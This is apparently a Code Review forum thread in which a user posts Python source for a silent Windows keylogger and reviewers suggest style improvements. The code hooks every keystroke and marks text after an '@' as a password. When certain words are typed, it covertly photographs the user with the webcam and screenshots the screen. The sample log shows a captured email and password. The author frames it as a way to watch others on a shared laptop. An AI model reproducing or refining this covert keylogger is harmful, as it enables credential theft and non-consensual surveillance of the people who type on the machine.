The program I have developed is currently used for detecting and recording keystrokes. I have added some built in security measures that can easily(somewhat) be modified to suit individual user needs!
I won't go into the mechanics because the Source is readily available and easily understandable! I realize that this has been done hundreds of times but I learned a lot along the way and had tons of fun! And now we start!!
Program Output File has unique formatting for easy readability. The cases are easily editable! Current cases include:
- Errors
- Exceptions
- Special (email/password)
- Inappropriate (Pornographic etc...)
- Default (For anything else)
Current security measures include:
- Screen Capture and Webcam picture, merged with a timestamp to capture the user, the current screen, and the time! -Image Below-
- The default keyLog!
Currently the program checks for specific rules in keystrokes to be met before using security measures, such as:
- If text contains
porn, pornagraphy, sex (other explicit terms)
it issues the security measure that records user and screen - If text contains
@
it expects this to be an email and therefore expects the next input to be a password! This is then denoted in the keyLog!
Additional Features Include:
- Runs silently in the background, the user can enter a specific set of input to pause, start, decrypt, encrypt, exit the logger!
- Relatively low memory usage!!!
- Encryption and Decryption of keyLogs available via custom Encryption Modules (also available for review!)
- Currently an .exe version (Although I am having several issues currently)
Current Known Issues:
- Not multi-platform compatible, Currently Only works on Windows
- Minimal checking for user camera
- Not fully documented
- There are probably a lot of code inefficiencies
- Python 2.7 dependant
Includes the base Logging class only. Security, Encryption, Constants, settings, build/dist/.exe .bat can be found at GitHub! Okay I guess there is no sample code, can't get the formatting to work properly. It is all jumbled... Will post and try to correct anyway! It worked!
class Logger:
def __init__(self):
'''
Handles all keycodes sent from keyboard
'''
self.root = self.__getRoot()
if 'logs' not in os.listdir(self.root):
os.mkdir(self.root+'/'+'logs')
self.root = self.root+'/'+'logs'
self.writeObj = Save(self.root)
self.keys = []
self.flag = CONSTANTS.DEFAULT
self.canSave = True
self.quit = False
self.important = False
self.overRide = False
def __getRoot(self):
'''
Returns object on first line after : of settings file
this is the root or main dir for file saving
'''
if 'settings.txt' not in os.listdir(os.curdir):
settings = open('settings.txt', 'wb')
settings.write(CONSTANTS.SETTING)
settings.close()
return ''.join(open('settings.txt', 'rb').readlines()[0].split(' = ')[1])
def check(self, code):
'''
Main keycode handeling
Checks if key is 0 control, shift, alt, caps etc... all mod keys
if not it checks if key is a backspace, if so it attempts to remove a key from the log
if not it checks if key is return press and others, (main key checking goes here, keywords, phrases etc...)
if not it adds the key to the log because it is a normal key
checks if we want to continue and exits if not
'''
string = self.__getString().lower()
if code == 0:
return
elif code == 8 and len(self.keys) > 1:
self.keys.remove(self.keys[-1])
elif code == 13 and string != '' or len(self.keys) >= 256:
self.flag = CONSTANTS.DEFAULT
if self.important:
self.important = False
self.flag = CONSTANTS.IMPORTANT
if 'logging.stop' in string:
string = 'Logging Disabled'
self.flag = CONSTANTS.EXCEPTION
self.canSave = False
self.overRide = True
elif 'logging.start' in string:
string = 'Logging Enabled'
self.flag = CONSTANTS.EXCEPTION
self.canSave = True
self.overRide = True
elif 'logging.exit' in string:
string = 'Program Exit'
self.flag = CONSTANTS.EXCEPTION
self.quit = True
self.canSave = False
self.overRide = True
crypto.encryptAll(self.root)
elif 'logging.encrypt' in string:
string = 'Encrypted Log Files'
self.flag = CONSTANTS.IMPORTANT
crypto.encryptAll(self.root)
elif 'logging.decrypt' in string:
string = 'Decrypted Log Files'
self.flag = CONSTANTS.IMPORTANT
crypto.decryptAll(self.root)
elif 'porn' in string or 'sex' in string or 'pussy' in string or 'dick' in string or 'xnxx.com' in string:
self.flag = CONSTANTS.PORN
thread.start_new_thread( security.camera, (self.root, self.__feedTime(), string))
else:
'''Special checks here'''
if '@' in string:
self.important = True
self.flag = CONSTANTS.IMPORTANT
if self.canSave or self.overRide:
string = self.__getOrigionalString(string)
self.save(string)
self.overRide = False
else:
self.addKey(code)
if self.quit:
sys.exit()
def __feedTime(self):
return time.strftime("%m-%d-%Y %I-%M-%S")
def __getOrigionalString(self, string):
'''
returns the unformatted string for all types except exceptions
'''
if self.flag != CONSTANTS.EXCEPTION:
return self.__getString()
return string
def addKey(self, key):
'''
add key to log
'''
self.keys.append(str(chr(key)))
def clearKeys(self):
'''
reset log
'''
self.keys = []
def save(self, string):
'''
save using the Save() class
'''
self.writeObj.write(string, self.flag)
self.clearKeys()
def __getString(self):
'''
return the log as a string
'''
return ''.join(self.keys)
class Save:
def __init__(self, dir):
'''
write and save log to a text file in dir directory with current date name
'''
self.directory = dir
self.setFile()
self.tagD = CONSTANTS.DEFAULT
self.tagE = CONSTANTS.ERROR
self.tagI = CONSTANTS.IMPORTANT
self.tagX = CONSTANTS.EXCEPTION
self.currentTag = self.tagD
def __getTime(self):
'''
returns m-d-y-h-m-s time in specific format
'''
return '['+str(time.ctime(time.time())) + ']'+'\n'
def setFile(self):
'''
sets filename to directory/current date
'''
self.date = time.strftime("%m-%d-%Y")
self.fileName = self.directory + '/' + self.date + '.log'
def __getOpen(self):
'''
return open file
'''
return open(self.fileName, 'a')
def write(self, data, flag):
'''
set current tag and call save
'''
self.currentTag = flag
self.__save(data)
def __save(self, data):
'''
Open, write, save and close file
'''
if self.date != time.strftime("%m-%d-%Y"):
self.setFile(self.directory)
file = self.__getOpen()
file.write(self.currentTag+'\n')
file.write(self.__getTime()+data+'\n\n')
file.close()
def OnKeyboardEvent(event):
'''
Built in keyboard event for pyhook.hookmanager
called each time a key is pressed
runs log.check for code analysis
'''
log.check(event.Ascii)
def main():
'''
Main Loop and setup
'''
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages() #@UndefinedVariable
if __name__ == '__main__':
'''
Setup/Teardown
init Logger object and call main function
'''
setup.setup()
log = Logger()
main()
Sample Image output
Don't mind the poor webcam quality, or the ugly dude in the image!!
Sample Log Output
[Fri Apr 15 15:49:34 2016] Don'tmindthe poor webcam quality! , or the ugly dude in the image!! -----------DEFAULT----------- [Fri Apr 15 15:50:13 2016] -----------DEFAULT----------- [Fri Apr 15 15:50:46 2016] eThis is the lazyScripter here! -----------DEFAULT----------- [Fri Apr 15 15:50:46 2016] This is the lazyScripter here! -----------DEFAULT----------- [Fri Apr 15 15:50:55 2016] lfacebook.com -----------DEFAULT----------- [Fri Apr 15 15:50:55 2016] lfacebook.com ----------IMPORTANT---------- [Fri Apr 15 15:51:11 2016] [email protected] ----------IMPORTANT---------- [Fri Apr 15 15:51:11 2016] [email protected] ----------IMPORTANT---------- [Fri Apr 15 15:51:18 2016] superSecretPassword ----------IMPORTANT---------- [Fri Apr 15 15:51:18 2016] superSecretPassword ---------PORNOGRAPHY--------- [Fri Apr 15 15:51:27 2016] watch some porn ---------PORNOGRAPHY--------- [Fri Apr 15 15:51:27 2016] watch some porn
Program does not normally write twice, I however accidentally had two programs running! When program is called via .bat it checks and terminates any other running loggers!
Main Question Summary
- What issues are immediately noticed?
- How can I improve upon this?
- General critique please!
My thanks to anyone who takes the time to fully read this long winded explanation and apply constructive criticism!
-
3\$\begingroup\$ The only question I have is... why? \$\endgroup\$Dan– Dan2016年04月15日 20:45:36 +00:00Commented Apr 15, 2016 at 20:45
-
5\$\begingroup\$ Well why not?! I had the extra time and my personal laptop is constantly used communally. Figured I could catch anyone doing anything they shouldn't! \$\endgroup\$TheLazyScripter– TheLazyScripter2016年04月15日 20:50:24 +00:00Commented Apr 15, 2016 at 20:50
2 Answers 2
Suggestion: Have a list of words that it checks for instead of hard coding the words it checks for.
The 'easiest' way would be to create something like:
keywords = ['explicit1', 'explicit2', 'explicit3']
Or my preferred method would be to create a .txt file with a list of words separated by newlines and reading those words from the file into a list:
with open(fname) as f:
keywords = f.readlines()
And then do the following in your main file:
for word in keywords:
if word in string: return true
-
2\$\begingroup\$ Welcome to Code Review! Good job on your first answer! \$\endgroup\$SirPython– SirPython2016年04月16日 14:01:49 +00:00Commented Apr 16, 2016 at 14:01
- Names in Python should follow
PEP8, that is,
lower_case_with_underscores
for methods and variables. That said, at least it's consistent. - The double underscore prefix for
__getRoot
looks weird and unnecessary. If it's internal, just use a single underscore. - The docstrings have weird indentation.
- Definitely use
with open(...) as ...:
to open files, otherwise you leak file handles if an exception occurs or you forget theclose
call at the end. - In
__getTime
the formatting can easily use'[{}]\n'.format(time.ctime(time.time()))
and be much more compact. I'd largely recommend any of the formatting functions to concatenating strings. - The
check
function could be split it up a little by defining a dictionary for the... in string
matching, like moving all of the blocks into their own functions and then dispatch to them based on the contents of the string.
Now for the key logger, I'd probably go for a fuzzy matching there or a list of keywords/regexex define in some file instead of hardcoding it.
Lastly I find either the naming, or the structure of the classes a bit
hard to understand. The name Save
doesn't really tell me what the
class is doing ... "saving" I guess, but that should rather be Saver
,
Writer
, or something.
-
1\$\begingroup\$ I agree that starting out I should have read constants from a file or list but at this point it would take just as much, if not more, code to implement this! Module to open and read each line and then a change to my compares or alternatively a Constants file or list or dict. But when comparing I would have to do something like if constants.logging_exit in string, or if constants[0] in string, or if constants['logging'']['exit'] in string. This ends up getting just as obtuse (It does make editing a lot easier I will admit)!! \$\endgroup\$TheLazyScripter– TheLazyScripter2016年04月16日 20:11:29 +00:00Commented Apr 16, 2016 at 20:11
-
1\$\begingroup\$ I completely agree with using with open(f) as file rather than open(f)/close(f) Code has been altered (__getOpen() removed and statement does with open loop now). I didn't think about what would happen if a write error occurred. Thank you so much!! \$\endgroup\$TheLazyScripter– TheLazyScripter2016年04月16日 20:14:36 +00:00Commented Apr 16, 2016 at 20:14
-
1\$\begingroup\$ An now on to my main point! Everyone seems to quite enjoy criticizing my "non PEP8" formatting. I guess it's true that everyone (including Python dev's) use PEP8, but I have been using camelCase since I first began programming and just can't seem to get on board with it! \$\endgroup\$TheLazyScripter– TheLazyScripter2016年04月16日 20:17:41 +00:00Commented Apr 16, 2016 at 20:17
-
1\$\begingroup\$ That's why I didn't say "omg you have to use PEP8". IMO every choice is mostly fine as long as it's consistently applied, because then the reader can adapt and work with it. But you'll get the PEP8 comment every single time unfortunately. I mean you can prevent that by making a statement that you're aware of it, but chose not to apply it :) \$\endgroup\$ferada– ferada2016年04月16日 20:35:59 +00:00Commented Apr 16, 2016 at 20:35
-
\$\begingroup\$ I think I will opt into doing that until I adopt the newer methods! Thanks for your input and appreciation! \$\endgroup\$TheLazyScripter– TheLazyScripter2016年04月16日 21:15:55 +00:00Commented Apr 16, 2016 at 21:15